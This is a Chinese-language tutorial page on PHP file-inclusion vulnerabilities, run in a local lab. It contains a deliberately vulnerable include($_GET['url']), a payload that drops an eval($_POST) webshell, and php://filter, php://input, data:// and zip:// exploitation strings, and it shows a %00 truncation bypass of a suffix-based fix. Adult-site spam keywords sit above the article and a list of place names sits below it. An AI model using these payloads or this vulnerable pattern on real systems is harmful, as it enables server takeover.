91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

php文件包含的漏洞和處理方法

發布時間:2020-06-19 17:12:31 來源:億速云 閱讀:506 作者:元一 欄目:編程語言

文件包含

文件包含,就是在一個要運行的PHP腳本中,去將另外一個PHP腳本中的代碼拿過來,并且可以使用其被包含的文件里的內容,或者說將自己的內容能夠在另外一個被包含的文件中使用。

文件包含基本語法

PHP中提供了四種文件包含的方法,分別是include和include_once,require和require_once,其中四種方式的用法完全一樣

include/include_once/require/equire_once '文件所在路徑及文件名';
include/include_once/require/equire_once('文件所在路徑及文件名');

PHP文件包含

PHP提供了四個文件包含函數提供的功能強大且靈活多變,經常存在文件包含函數

include()

無法查到被包含的文件時產生錯誤"E_COMPLE_ERROR"停止運行

include_once()

和前者一樣,如果文件中的代碼已經包含了,則不再會包含

require()

無法查到被包含的文件是產生警告"E_WARNING"繼續運行

require_once()

和前者一樣,無法查到被包含的文件是產生警告"E_WARNING"繼續運行

開發演示

<?php
    include("ArrayUtil.php"); //利用include函數包含
    $arr = array("sougou","google","yahoo","baidu","FackBook");
    PrintArr($arr);
?>
<?php
    function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){
        foreach ($arr as $key => $value) {
            echo "$key $sp $value $lin";
        }
    }
?>

在index.php文件中使用include函數文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函數;在index.php第4行我們調用了PrintArr()函數。

使用瀏覽器訪問index.php

php文件包含的漏洞和處理方法

漏洞演示(本地執行)

<?php
    include("phpinfo.txt");
?>
<?php
    phpinfo();
?>

php文件包含的漏洞和處理方法

喏!一個txt文件被成功包含了;筆者測試了其它各種服務器可接受的文件格式,均實驗成功!由此筆者得到的論證是:include()函數包含的任何文件都會以PHP文件解析,但前提是文件的內容符合PHP代碼規范;若內容不符合PHP代碼規范則會在頁面暴露文件內容(這是重點)

漏洞演示(遠程執行)

PHP不單單可以在服務端(本地)執行文件包含,也可以遠程執行文件包含;

遠程的文件包含執行需要修改PHP.ini配置文件(php默認關閉遠程包含文件)

allow_url_include = on

由于我們不具備遠程條件,只好本地搭建環境將就一下哈!!!

D:\phpStudy\phpinfo.txt

<?php
    phpinfo();
?>

127.0.0.1/index.php

<?php
    include("D:\phpStudy\phpinfo.txt");
?>

換一個方法

<?php
    include($_GET['url']);
?>// 記住這個代碼后面會一直使用

php文件包含的漏洞和處理方法

這里的URL參數值提交的只是一個遠程包含文件的URL地址;遠程文件包含和本地文件包含的解析方法一樣,只要符合PHP代碼規范就可以按照PHP代碼解析執行。

php文件包含的漏洞和處理方法

如果我們包含的文件不存在,則會發生Error,網站的路徑就會暴露!

讀取敏感文件

構造類似http://127.0.0.1/?url=.\phpinfo.txt

php文件包含的漏洞和處理方法

喏!我們看見了文本內容,為什么呢?

因為include()函數會執行文件包含,不管是什么格式的文件只要符合PHP代碼規范的內容就會按照PHP解析;而不符合PHP代碼規范的則會直接輸出文件內容。

綜合特性:利用該特性包含文件的方法,訪問本地的其它文件均會執行php解析或者回顯文本的內容;尤其是系統敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路徑則需要結合其它姿勢來獲得(例如上面利用error回顯的方式)

重要的一點:得具有文件的操作權限哦

遠程包含Shell

遠程包含文本的條件是 allow_url_fopen= on

創建shell.txt(功能:在服務端本地創建一句話木馬腳本)

<?php
    $key= ("<?php @eval(\$_POST['mirror']);?>");//$符號需要轉義要按字符存
    $file = fopen("shell.php","w");
    fwrite($file, $key);
    fclose($file);
?>

構造:http://127.0.0.1/?url=..\xx\shell.txt

遠程包含文本執行成功后,服務端本地會創建一個"shell.php"一句話木馬執行文件

shell.php創建后,使用“菜刀”連接一句話:

php文件包含的漏洞和處理方法

php文件包含的漏洞和處理方法

喏!包含執行文件創建本地一個shell.php一句話木馬,然后菜刀連木馬!一梭子搞定!

文件包含配合上傳

利用web應用的上傳功能,上傳一張偽木馬圖片,然后利用文件包含執行已上傳的圖片,然后偽木馬圖片的功能就是被包含執行后在服務端本地創建一個木馬執行php文件

PHP封裝協議利用

PHP內置很多的PHP封裝協議(詳細見官方文檔),封裝協議的功能和文件函數(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默認開啟 該選項為on便是激活了 URL 形式的 fopen 封裝協議使得可以訪問 URL 對象文件等。

allow_url_include:off 默認關閉,該選項為on便是允許 包含URL 對象文件等

考慮安全都是全部關閉

內置封裝協議

【引用官方文檔】

  • file:// — 訪問本地文件系統
  • http:// — 訪問 HTTP(s) 網址
  • ftp:// — 訪問 FTP(s) URLs
  • data:// — 數據(RFC 2397)
  • glob:// — 查找匹配的文件路徑模式
  • phar:// — PHP 歸檔
  • ssh3:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音頻流
  • expect:// — 處理交互式的流

file://協議:

訪問本地文件系統

file://[本地文件的絕對路徑和文件名]

php://協議:

訪問各個IO流

需要開啟 allow_url_include: on

  • php://stdin:直接訪問PHP進程相應的輸入或輸出流(只讀)

  • php://stdout:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://stderr:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://filter:進行任意文件讀取的利用

  • php://input:訪問請求的原始數據的只讀流,將post請求中的數據作為php解析

  • php://output:只寫的數據流,允許print和echo方式寫入到輸出緩存中

  • php://fd: 允許直接訪問指定的文件描述符

    更多詳細可以參考官方php://協議文檔

zip://協議:

(zip:// , bzip2:// , zlib:// )屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名

zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]

注意 井字符號 ’ # ‘ 在url中需要轉為 %23

data://協議:

data://text/plain;base64,[string_base64加密后]

glob://協議:

查詢匹配的文件路徑模式

glob://[url]
<?php
// 循環 ext/spl/examples/ 目錄里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

expect://協議:

處理交互式數據流(默認未開啟,需要安裝PECL—Expect擴展)

expect://command

參見文章:php偽協議實現命令執行的七種姿勢

讀取PHP文件

利用file://讀取文件內容

file://[本地文件的絕對路徑和文件名]

利用php://filter讀取php文件內容

http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php

php文件包含的漏洞和處理方法

這里的結果是經過Base64加密的

php文件包含的漏洞和處理方法

利用php://input:

使用php://input可以執行PHP語句,但是受限于allow_utl_include= On

url text:

http://127.0.0.1/index.php/?url=php://input

Post data:

<?php phpinfo();?>

php文件包含的漏洞和處理方法

喏!利用“php://input"執行php代碼”post data數據內容“,這里只是回顯phpinfo(),如果我們利用php://input執行服務端本地創建php一句話木馬文件,后果可想而知

利用data://:

受限于allow_utl_include= Onphp.ini配置

?file=[data://text/plain;base64,[base64編碼加密的payload)]

php文件包含的漏洞和處理方法

注意沒有php閉合標簽

利用zip://:

?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php

php文件包含的漏洞和處理方法

總結

php文件包含的漏洞和處理方法

上面這張圖是筆者從FREEBUF漏斗社區的文章中copy來的,算是一個不錯的總結^_^

截斷包含

magic_quotes_gpc = off函數為Off狀態才可以使用,因為在On狀態下%00會被轉義導致無法截斷;https://www.cnblogs.com/timelesszhuang/p/3726736.html

PHP6/7關閉了magic_quotes_gpc函數: PHP6\7關閉magic_quotes_gpc對程序的影響

文件包含的漏洞修復,尤其是include()相關文件包含函數,只要限制后綴名就好了?

<?php
    if(iset($_GET['url'])){
            include $_GET['url'].".php";
    } else{
        include 'home.php';
    }
?>

上述程序就是固定限制后綴名,用戶只需要指明文件名就可以,不需要用戶提交后綴名

現在我們利用之前的包含手段,包含"shell.php"文件

http://127.0.0.1/index.php/?url=shell.php

由于程序固定了文件后綴格式,于是在后臺會構成

shell.php.php

而include()無法查找到“shell.php.php”,故此導致報錯

采用字節截斷

http://127.0.0.1/index.php/?url=shell.php%00

PHP5.2+的版本漸漸的都修復了字節截斷,所以很少有利用了

以上就是php文件包含漏洞原理淺探的詳細內容,更多請關注億速云其它相關文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

北流市| 潍坊市| 巴林右旗| 烟台市| 博客| 高青县| 霍州市| 望都县| 舞阳县| 柳州市| 上饶市| 长武县| 安乡县| 突泉县| 镇宁| 五华县| 呼玛县| 德惠市| 保亭| 衡阳县| 诸城市| 侯马市| 邵阳县| 军事| 平舆县| 乌兰县| 佳木斯市| 兴国县| 平顶山市| 迭部县| 安西县| 哈尔滨市| 德州市| 丰县| 甘肃省| 松阳县| 如皋市| 巨鹿县| 台北县| 台中市| 三门峡市|